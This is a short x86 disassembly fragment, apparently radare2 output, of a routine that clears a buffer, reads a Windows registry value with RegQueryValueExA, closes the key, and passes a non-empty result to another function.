lea eax, [ebp - 0x134]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x34]
mov dword [ebp - 0x34], 0x100
push eax
lea eax, [ebp - 0x134]
push eax
push ebx
push ebx
push ebx
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [ebp - 0x134], bl
je 0x505119
lea eax, [ebp - 0x134]
push eax
call fcn.00504eea
pop ecx
pop ebx
leave
ret